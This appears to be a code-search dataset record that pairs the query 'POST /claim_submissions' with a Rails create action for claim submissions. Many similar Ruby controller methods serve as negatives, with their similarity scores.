"def new\n @badge = Badge.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @badge }\n end\n end",
"def new\n @important_issue = ImportantIssue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @important_issue }\n end\n end",
"def new\n @submission = Submission.new\n if params[:session_id]\n @submission.submission_number = \"#{params[:session_id]}-\"\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submission }\n end\n end",
"def new\n @approval = Approval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @approval }\n end\n end",
"def new\n @badge = Badge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @badge }\n end\n end",
"def new\n @borrow_request = BorrowRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @borrow_request }\n end\n end",
"def new\n @submitted_answer = SubmittedAnswer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitted_answer }\n end\n end",
"def create\n @email_submission = EmailSubmission.new(params[:email_submission])\n\n respond_to do |format|\n if @email_submission.save\n format.html { redirect_to @email_submission, notice: 'Email submission was successfully created.' }\n format.json { render json: @email_submission, status: :created, location: @email_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @submitter = Submitter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @submitter }\n end\n end",
"def new\n @risk_classification = RiskClassification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @risk_classification }\n end\n end",
"def new\n @interested = Interested.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interested }\n end\n end",
"def new\n @new_policy = NewPolicy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_policy }\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.json { render json: @work }\n end\n end",
"def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end",
"def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end",
"def new\n @requirement_priority = RequirementPriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @requirement_priority }\n end\n end",
"def new\n @electronic_approval = ElectronicApproval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @electronic_approval }\n end\n end",
"def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @entry = Entry.new\n\n render json: @entry\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @objective = Objective.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @objective }\n end\n end",
"def new\n @submission = Submission.new\n\t\t# check if assessment id is provided\n\t\tif params[:assessment_id]\n\t\t\t@submission.assessment_id = params[:assessment_id]\n\t\t# or submission is provided\n\t\telsif params[:submission]\n\t\t\t@submission.assessment_id = params[:submission][:assessment_id]\n\t\tend\n\t\t# if an id has been aquiered\n\t\tif @submission.assessment_id\n\t\t\t@assessment = Assessment.find(@submission.assessment_id)\n\t\t\t# if the assessment exists\n\t\t\tif @assessment\n\t\t\t\tuser = User.find(@assessment.user_id)\n\t\t\t\t@creator = user.Fname + \" \" + user.Lname\n\t\t\tend\n\t\tend\n end",
"def new\n @assignment = Assignment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @patient_risk_factor = PatientRiskFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patient_risk_factor }\n end\n end",
"def new\n @entry = Entry.new(project_id: @project.id, recorded_for: Date.today)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @entry }\n end\n end",
"def create\n # start time\n\t\tparams[:submission][:SubmittedAt]=DateTime.now\n\t\t@submission = Submission.new(submission_params)\n\t\t# if assessment id was provided \n\t\tif params[:submission][:assessment_id]\n\t\t\t@assessment = Assessment.find(params[:submission][:assessment_id])\n\t\t\t@name = @assessment.Name\n\t\t\t# if the assessment exists\n\t\t\tif @assessment\n\t\t\t\tuser = User.find(@assessment.user_id)\n\t\t\t\t@creator = user.Fname + \" \" + user.Lname\n\t\t\tend\n\t\tend\n respond_to do |format|\n if @submission.save\n format.html { redirect_to edit_submission_path(@submission, :assessment_id => params[:submission][:assessment_id]) }\n format.json { render :show, status: :created, location: @submission }\n else\n format.html {render :new, :locals => { :assessment => @assessment }, status: :unprocessable_entity}\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @fix_issue = FixIssue.new\n \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @fix_issue }\n end\n end",
"def new\n @questionnaire = Questionnaire.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @questionnaire }\n end\n end",
"def new\n if recycler_session\n\n if current_recycler.find_voted_items.count >= count_recycler_votes_threshold(current_recycler)\n @submission = Submission.new\n\n @main_materials = MaterialObject.select(:category).distinct\n sub_materials = MaterialObject.select(:subcategory).distinct\n\n @main_materials.count.times do\n submission_group = @submission.submission_groups.build\n end\n\n else\n redirect_to '/votes'\n end\n\n else\n redirect_to '/recyclers/sign_in'\n end\n\n end",
"def new\n @pre = Pre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pre }\n end\n end",
"def new\n @requisition = Requisition.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requisition }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def new\n @persons_release = PersonsRelease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @persons_release }\n end\n end",
"def new\n @base_issue = BaseIssue.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @base_issue }\n end\n end",
"def new\n @magissue = Magissue.new(params[:new_issue])\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @magissue }\n end\n end",
"def new\n @prob = Prob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prob }\n end\n end",
"def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end",
"def new\n @pledge = Pledge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pledge }\n end\n end",
"def new\n @medium_trial = MediumTrial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @medium_trial }\n end\n end",
"def new\n @gist = Gist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gist }\n end\n end",
"def new\n @critical_question = CriticalQuestion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_question }\n end\n end",
"def new\n @subscription_request = SubscriptionRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @subscription_request }\n end\n end",
"def new\n @create_request_skill = CreateRequestSkill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @create_request_skill }\n end\n end",
"def new\n @patent = Patent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @patent }\n end\n end",
"def new\n @bulletin = Bulletin.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulletin }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request }\n end\n end",
"def new\n @assignment_special_assignment = Assignment::SpecialAssignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment_special_assignment }\n end\n end",
"def new\n @id_proof = IdProof.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @id_proof }\n end\n end",
"def new\n @patentcase = Patentcase.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @patentcase }\n end\n end",
"def new\n @compromise = Compromise.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @compromise }\n end\n end",
"def new\n @submission = Submission.new\n\n respond_to do |format|\n format.html # new.haml\n format.xml { render :xml => @submission }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trial }\n end\n end",
"def create\n @claim = Claim.new(claim_params)\n\n respond_to do |format|\n if @claim.save\n format.html { redirect_to @claim, notice: 'Claim was successfully created.' }\n format.json { render action: 'show', status: :created, location: @claim }\n else\n format.html { render action: 'new' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @participation = Participation.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participation }\n end\n end",
"def new\n post = Post.new\n render json: post\n end",
"def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end",
"def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end",
"def new\n @participant = Participant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @participant }\n end\n end",
"def new\n @beta_email = BetaEmail.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @beta_email }\n end\n end",
"def new\n @research = Research.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @research }\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def new\n @assigned_project = AssignedProject.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned_project }\n end\n end",
"def new\n @ticket = Ticket.new(sprint: Sprint.current!)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end",
"def new\n @critical_factor = CriticalFactor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @critical_factor }\n end\n end",
"def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end",
"def create\n if request.headers['Content-Disposition']\n filename = request.headers['Content-Disposition'].split('filename=').last\n filename = filename.scan(/(?<=\")[^\"]+/).first if filename.include?('\"')\n filename = filename.split('/').last.split('.')\n extension = filename.pop\n name = filename.join('.')\n tmp_file = \"#{Rails.root}/tmp/#{name}.#{extension}\"\n id = 0\n while File.exists?(tmp_file)\n id += 1\n tmp_file = \"#{Rails.root}/tmp/#{name}-#{id}.#{extension}\"\n end\n File.open(tmp_file, 'wb') do |f|\n f.write request.body.read\n end\n c = Cocaine::CommandLine.new('file', '-b --mime-type :file')\n mime_type = c.run(file: tmp_file).strip\n\n if Submission::STORY_CONTENT_TYPES.include?(mime_type)\n @submission = SubmissionStory.new\n doc = Parchment.read(tmp_file)\n @submission.description = doc.to_html.gsub('\\\\n', '')\n else\n @submission = Submission.new\n end\n File.open(tmp_file) do |f|\n @submission.file = f\n end\n\n # Dancing around strong params\n params[:submission] = {}\n params[:submission][:cheat] = \"This should be rejected, but is necessary.\"\n else\n @submission = Submission.new(submission_params)\n end\n\n @submission.profile = current_profile\n @submission.save!\n\n FileUtils.rm(tmp_file) if tmp_file\n\n if 'SubmissionImage' == @submission.type\n SubmissionImage.find(@submission.id).save_metadata # needs to be done separately, for now\n @submission.reload\n end\n\n respond_to do |format|\n if update_submission\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render '/submissions/show', status: :created, location: submission_url(@submission) }\n else\n format.html do\n set_submission_page_script\n render action: 'edit'\n end\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = Submission.new(submission_params)\n\n respond_to do |format|\n if @submission.save\n format.html { redirect_to auditions_path, notice: 'Thanks for submitting!' }\n format.json { render action: 'show', status: :created, location: @submission }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @proof_cost = ProofCost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @proof_cost }\n end\n end",
"def new\n @allocation = Allocation.new params[:allocation]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @allocation }\n end\n end",
"def new\n @applicant = Applicant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @applicant }\n end\n end",
"def new\n @applicant = Applicant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @applicant }\n end\n end",
"def new\n @applicant = Applicant.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @applicant }\n end\n end",
"def create\n @normal_issue = NormalIssue.new(params[:normal_issue])\n\n respond_to do |format|\n if @normal_issue.save\n format.html { redirect_to @normal_issue, notice: 'Normal issue was successfully created.' }\n format.json { render json: @normal_issue, status: :created, location: @normal_issue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @normal_issue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @bulletin_file = BulletinFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bulletin_file }\n end\n end"
] |
[
"0.73083645",
"0.730175",
"0.70419043",
"0.6944726",
"0.6853168",
"0.6849316",
"0.68190694",
"0.68190694",
"0.6806833",
"0.67574584",
"0.6699049",
"0.66672105",
"0.66314304",
"0.6609953",
"0.65931195",
"0.65611",
"0.6553012",
"0.65363985",
"0.65244067",
"0.6505716",
"0.64881736",
"0.64852643",
"0.64779055",
"0.6476985",
"0.64734256",
"0.647285",
"0.6457923",
"0.6455792",
"0.64370525",
"0.64179206",
"0.64152414",
"0.6410957",
"0.63922966",
"0.6385792",
"0.6381906",
"0.63654566",
"0.63642454",
"0.6362792",
"0.6362792",
"0.6362312",
"0.6357795",
"0.6356062",
"0.6344003",
"0.6344003",
"0.63375276",
"0.63333505",
"0.6314389",
"0.63130903",
"0.6311333",
"0.63033175",
"0.6302918",
"0.6295649",
"0.6294397",
"0.6281797",
"0.6280564",
"0.6272286",
"0.62709993",
"0.62678957",
"0.62678957",
"0.62672865",
"0.62605935",
"0.6258799",
"0.6257514",
"0.62555313",
"0.62521076",
"0.62409633",
"0.62403625",
"0.62403625",
"0.62403625",
"0.62403625",
"0.62403625",
"0.62353575",
"0.623175",
"0.62305397",
"0.6229108",
"0.62239254",
"0.622384",
"0.622124",
"0.6220036",
"0.62095284",
"0.6205167",
"0.6204546",
"0.6204546",
"0.6204546",
"0.6204492",
"0.6201346",
"0.62008274",
"0.6192361",
"0.6190519",
"0.61849695",
"0.6177618",
"0.6169833",
"0.6167621",
"0.61664367",
"0.6164316",
"0.615846",
"0.6158019",
"0.6158019",
"0.6157637",
"0.61538815"
] |
0.79409283
|
0
|
POST /claim_submissions POST /claim_submissions.json
|
def create
@claim_submission = ClaimSubmission.new(params[:claim_submission])
respond_to do |format|
if @claim_submission.save
format.html { redirect_to @claim_submission, notice: 'Claim submission was successfully created.' }
format.json { render json: @claim_submission, status: :created, location: @claim_submission }
else
format.html { render action: "new" }
format.json { render json: @claim_submission.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n submission = Submission.new(submission_params)\n unless submission.save\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n claim = Claim.new(\n insured_id: submission.insured_id,\n provider_id: submission.provider_id\n )\n unless claim.save\n submission.delete\n render json: {errors: claim.errors.full_messages}, status: :bad_request\n return\n end\n\n submission.claim = claim\n unless submission.save\n submisson.delete\n claim.delete\n render json: {errors: submmission.errors.full_messages}, status: :bad_request\n return\n end\n\n render json: {submission: submission.id, claim: claim.id}\n end",
"def new\n @claim_submission = ClaimSubmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @claim_submission }\n end\n end",
"def process_claim!\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!\n\n Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n end",
"def create\n @submission = Submission.new(:student_id => current_student.id, :assignment_id => params[:assignment_id])\n\n respond_to do |format|\n if @submission.save\n @assignment = @submission.assignment\n @assignment.questions.each do |question| \n answer = SubmittedAnswer.new(:submission_id => @submission.id, :question_id => question.id)\n answer.save\n end\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n format.json { render json: @submission, status: :created, location: @submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_form_0966\n ClaimsApi::Logger.log('itf', detail: '0966 - Request Started')\n validate_json_schema\n validate_veteran_identifiers(require_birls: true)\n check_for_invalid_burial_submission! if form_type == 'burial'\n ClaimsApi::Logger.log('itf', detail: '0966 - Controller Actions Completed')\n\n bgs_response = local_bgs_service.insert_intent_to_file(intent_to_file_options)\n if bgs_response.empty?\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::ERRORED, cid: token.payload['cid'])\n raise ::Common::Exceptions::ResourceNotFound.new(detail: 'Veteran ID not found')\n else\n ClaimsApi::IntentToFile.create!(status: ClaimsApi::IntentToFile::SUBMITTED, cid: token.payload['cid'])\n ClaimsApi::Logger.log('itf', detail: 'Submitted to BGS')\n render json: bgs_response,\n serializer: ClaimsApi::IntentToFileSerializer\n end\n end",
"def submit_form_2122\n validate_json_schema\n\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_using_identifier_and_source(header_md5: header_md5,\n source_name: source_name)\n unless power_of_attorney&.status&.in?(%w[submitted pending])\n power_of_attorney = ClaimsApi::PowerOfAttorney.create(\n status: ClaimsApi::PowerOfAttorney::PENDING,\n auth_headers: auth_headers,\n form_data: form_attributes,\n source_data: source_data,\n header_md5: header_md5\n )\n\n unless power_of_attorney.persisted?\n power_of_attorney = ClaimsApi::PowerOfAttorney.find_by(md5: power_of_attorney.md5)\n end\n\n power_of_attorney.save!\n end\n\n ClaimsApi::PoaUpdater.perform_async(power_of_attorney.id)\n\n render json: power_of_attorney, serializer: ClaimsApi::PowerOfAttorneySerializer\n end",
"def process_claim!\n raise 'submission already present' if submission.present?\n\n assert_veteran_status\n\n carma_submission = CARMA::Models::Submission.from_claim(claim, build_metadata).submit!(carma_client)\n\n @submission = Form1010cg::Submission.new(\n carma_case_id: carma_submission.carma_case_id,\n submitted_at: carma_submission.submitted_at\n )\n\n submit_attachment\n\n submission\n end",
"def create\n PensionBurial::TagSentry.tag_sentry\n claim = claim_class.new(form: filtered_params[:form])\n unless claim.save\n StatsD.increment(\"#{stats_key}.failure\")\n raise Common::Exceptions::ValidationErrors, claim\n end\n claim.process_attachments!\n StatsD.increment(\"#{stats_key}.success\")\n Rails.logger.info \"ClaimID=#{claim.confirmation_number} Form=#{claim.class::FORM}\"\n clear_saved_form(claim.form_id)\n render(json: claim)\n end",
"def create\n if params['HandshakeKey'].present?\n if Logan::Application.config.wufoo_handshake_key != params['HandshakeKey']\n Rails.logger.warn(\"[wufoo] received request with invalid handshake. Full request: #{request.inspect}\")\n head(403) && return\n end\n\n @submission = Submission.new(\n raw_content: params.to_json,\n ip_addr: params['IP'],\n entry_id: params['EntryId'],\n form_structure: params['FormStructure'],\n field_structure: params['FieldStructure']\n )\n\n # Parse the form type\n form_type = @submission.form_type_field\n begin\n # try to save with matching enum type\n @submission.form_type = form_type.downcase\n rescue\n # Otherwise set form type as unknown\n @submission.form_type = 'unknown'\n end\n\n # Parse the email, and add the associated person\n person_identifier = @submission.form_email_or_phone_number\n this_person = nil\n if person_identifier.present?\n this_person = Person.where('lower(email_address) = ?', person_identifier.downcase).last\n if this_person.blank?\n test_number = PhonyRails.normalize_number(person_identifier)\n this_person = Person.where('phone_number = ?', test_number).last\n end\n end\n @submission.person = this_person\n\n if @submission.save\n Rails.logger.info(\"SubmissionsController#create: recorded a new submission for #{person_identifier}\")\n head '201'\n else\n Rails.logger.warn(\"SubmissionsController#create: failed to save new submission for #{person_identifier}\")\n head '400'\n end\n\n else\n @submission = Submission.new(\n raw_content: '',\n entry_id: params['submission']['entry_id'],\n form_id: params['submission']['form_id'],\n person_id: params['submission']['person_id']\n )\n person_id = params['submission']['person_id']\n this_form_id = params['submission']['form_id']\n # Rails.logger.info \"[submissions_controller create] this_form_id = #{this_form_id}\"\n if this_form_id.present?\n this_form = Logan::Application.config.wufoo.form(this_form_id)\n @submission.field_structure = { 'Fields' => this_form.fields }.to_json\n @submission.form_structure = this_form.details.to_json\n raw_content = { 'FieldStructure' => @submission.field_structure }\n raw_content['FormStructure'] = @submission.form_structure\n this_entry_id = params['submission']['entry_id']\n # Rails.logger.info \"[submissions_controller create] this_entry_id = #{this_entry_id}\"\n if this_entry_id.present?\n this_entry = this_form.entries(filters: [['EntryId', 'Is_equal_to', this_entry_id]]).first\n # Rails.logger.info \"@submission.raw_content = #{@submission.raw_content}\"\n # Rails.logger.info \"this_entry = #{this_entry}\"\n raw_content = raw_content.merge(this_entry)\n @submission.raw_content = raw_content.to_json\n end\n end\n if @submission.save\n Rails.logger.info(\"SubmissionsController#create: recorded a new submission for #{person_id}\")\n format.html { redirect_to submission_path, notice: 'Submission was successfully created.' }\n else\n Rails.logger.warn(\"SubmissionsController#create: failed to save new submission for #{person_id}\")\n format.html { render action: 'new' }\n end\n end\n end",
"def create\n if request.headers['Content-Disposition']\n filename = request.headers['Content-Disposition'].split('filename=').last\n filename = filename.scan(/(?<=\")[^\"]+/).first if filename.include?('\"')\n filename = filename.split('/').last.split('.')\n extension = filename.pop\n name = filename.join('.')\n tmp_file = \"#{Rails.root}/tmp/#{name}.#{extension}\"\n id = 0\n while File.exists?(tmp_file)\n id += 1\n tmp_file = \"#{Rails.root}/tmp/#{name}-#{id}.#{extension}\"\n end\n File.open(tmp_file, 'wb') do |f|\n f.write request.body.read\n end\n c = Cocaine::CommandLine.new('file', '-b --mime-type :file')\n mime_type = c.run(file: tmp_file).strip\n\n if Submission::STORY_CONTENT_TYPES.include?(mime_type)\n @submission = SubmissionStory.new\n doc = Parchment.read(tmp_file)\n @submission.description = doc.to_html.gsub('\\\\n', '')\n else\n @submission = Submission.new\n end\n File.open(tmp_file) do |f|\n @submission.file = f\n end\n\n # Dancing around strong params\n params[:submission] = {}\n params[:submission][:cheat] = \"This should be rejected, but is necessary.\"\n else\n @submission = Submission.new(submission_params)\n end\n\n @submission.profile = current_profile\n @submission.save!\n\n FileUtils.rm(tmp_file) if tmp_file\n\n if 'SubmissionImage' == @submission.type\n SubmissionImage.find(@submission.id).save_metadata # needs to be done separately, for now\n @submission.reload\n end\n\n respond_to do |format|\n if update_submission\n format.html { redirect_to @submission, notice: 'Submission was successfully updated.' }\n format.json { render '/submissions/show', status: :created, location: submission_url(@submission) }\n else\n format.html do\n set_submission_page_script\n render action: 'edit'\n end\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submit_form_526 # rubocop:disable Metrics/MethodLength\n ClaimsApi::Logger.log('526', detail: '526 - Request Started')\n sanitize_account_type if form_attributes.dig('directDeposit', 'accountType')\n validate_json_schema\n validate_form_526_submission_values!\n validate_veteran_identifiers(require_birls: true)\n validate_initial_claim\n ClaimsApi::Logger.log('526', detail: '526 - Controller Actions Completed')\n\n auto_claim = ClaimsApi::AutoEstablishedClaim.create(\n status: ClaimsApi::AutoEstablishedClaim::PENDING,\n auth_headers:,\n form_data: form_attributes,\n flashes:,\n special_issues: special_issues_per_disability,\n source: source_name,\n cid: token.payload['cid'],\n veteran_icn: target_veteran.mpi.icn\n )\n\n ClaimsApi::Logger.log('526', claim_id: auto_claim.id, detail: 'Submitted to Lighthouse',\n pdf_gen_dis: form_attributes['autoCestPDFGenerationDisabled'])\n\n # .create returns the resulting object whether the object was saved successfully to the database or not.\n # If it's lacking the ID, that means the create was unsuccessful and an identical claim already exists.\n # Find and return that claim instead.\n unless auto_claim.id\n existing_auto_claim = ClaimsApi::AutoEstablishedClaim.find_by(md5: auto_claim.md5)\n auto_claim = existing_auto_claim if existing_auto_claim.present?\n end\n\n if auto_claim.errors.present?\n raise ::Common::Exceptions::UnprocessableEntity.new(detail: auto_claim.errors.messages.to_s)\n end\n\n unless form_attributes['autoCestPDFGenerationDisabled'] == true\n ClaimsApi::ClaimEstablisher.perform_async(auto_claim.id)\n end\n\n ClaimsApi::Logger.log('526', detail: '526 - Request Completed')\n render json: auto_claim, serializer: ClaimsApi::AutoEstablishedClaimSerializer\n end",
"def create\n @submission = Submission.new(submission_params)\n\n respond_to do |format|\n if @submission.save\n format.html { redirect_to auditions_path, notice: 'Thanks for submitting!' }\n format.json { render action: 'show', status: :created, location: @submission }\n else\n format.html { render action: 'new' }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @submission = current_user.submissions.create!(submission_params)\n flash[:notice] = \"submission created\"\n redirect_to @submission\n end",
"def create\n @form_submission = current_user.form_submissions.build(form_submission_params)\n respond_to do |format|\n if @form_submission.save\n format.html { redirect_to @form_submission, notice: \"Form submission was successful.\" }\n format.json { render :show, status: :created, location: @form_submission }\n else\n format.html { render :new }\n format.json { render json: @form_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @email_submission = EmailSubmission.new(params[:email_submission])\n\n respond_to do |format|\n if @email_submission.save\n format.html { redirect_to @email_submission, notice: 'Email submission was successfully created.' }\n format.json { render json: @email_submission, status: :created, location: @email_submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @email_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize @context, :can_author?\n data = submission_params.merge user: current_user\n @submission = @context.submissions.new(data)\n\n respond_to do |format|\n if @submission.save\n @submission.sm_init!\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n# format.html { redirect_to @submission, notice: 'Submission was successfully created.' }\n format.json { render :show, status: :created, location: @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @entry = Entry.new(entry_params)\n\n @entry.user_id = current_user.id\n @entry.challenge_id = current_open_challenge.id\n\n submission = Entry.find_by_challenge_id_and_user_id(@entry.challenge_id, @entry.user_id)\n \n if submission.blank?\n respond_to do |format|\n if @entry.save\n format.html { redirect_to @entry, notice: 'Entry was successfully created.' }\n format.json { render json: @entry, status: :created, location: @entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @entry.errors, status: :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to submission }\n format.json { render json: submission }\n end\n end\n end",
"def create\n @club = current_user.club\n @league = params[:league]\n @venue = params[:fixture]\n @submission = current_user.submissions.build(submission_params)\n\n\n respond_to do |format|\n if @submission.save\n format.html { redirect_to @submission, notice: 'Submission was successfully created.' }\n format.json { render :show, status: :created, location: @submission }\n else\n format.html { render :new }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def submission_params\n params.require(:submission).permit(PERMIT_FIELDS)\n end",
"def create_submission_stub(_payload)\n {\n 'message' => 'Application Received',\n 'data' => {\n 'carmacase' => {\n 'id' => 'aB935000000F3VnCAK',\n 'createdAt' => DateTime.now.iso8601\n }\n }\n }\n end",
"def create\n @claim = Claim.new(claim_params)\n\n respond_to do |format|\n if @claim.save\n format.html { redirect_to @claim, notice: 'Claim was successfully created.' }\n format.json { render action: 'show', status: :created, location: @claim }\n else\n format.html { render action: 'new' }\n format.json { render json: @claim.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pending_claims\n session[:sub_nav_clicked] = 'Post Claims'\n @submit_action = 'pending_claims_update'\n begin\n visit_ids = batch_visit_ids\n @claims = Claim.paginate_pending_charges(session[:practice_id],params[:page],visit_ids)\n @patients = @claims.collect{|x|[x.patient_id,x.patient_first_name,x.patient_middle_name,x.patient_last_name]}.uniq\n @carriers = @claims.collect{|x|[x.carrier_name,x.carrier_id]}.uniq\n find_claim_error\n @controller_name = 'claims'\n @no_of_record = @claims.length\n @current_action = \"pending_claims\"\n @status = 0\n if params[:task] == \"paging\"\n respond_to do |format|\n format.html {\n render :action => 'pending_claims',:layout=>'claim'\n }\n format.js {\n render :update do |page|\n page.replace_html 'result_pager', :partial => 'post_claim'\n end\n }\n end\n end\n rescue => e\n render :text=> \" #{e.message}\"\n end\n end",
"def create\n @funding_application_submission = FundingApplicationSubmission.new(funding_application_submission_params)\n\n respond_to do |format|\n if @funding_application_submission.save\n @funding_application_submission.update(:user_id => current_user.id)\n format.html { redirect_to @funding_application_submission, notice: 'Funding application submission was successfully created.' }\n format.json { render :show, status: :created, location: @funding_application_submission }\n else\n format.html { render :new }\n format.json { render json: @funding_application_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:submission][:verdict] = 'pending'\n create_base(params[:submission]) \n end",
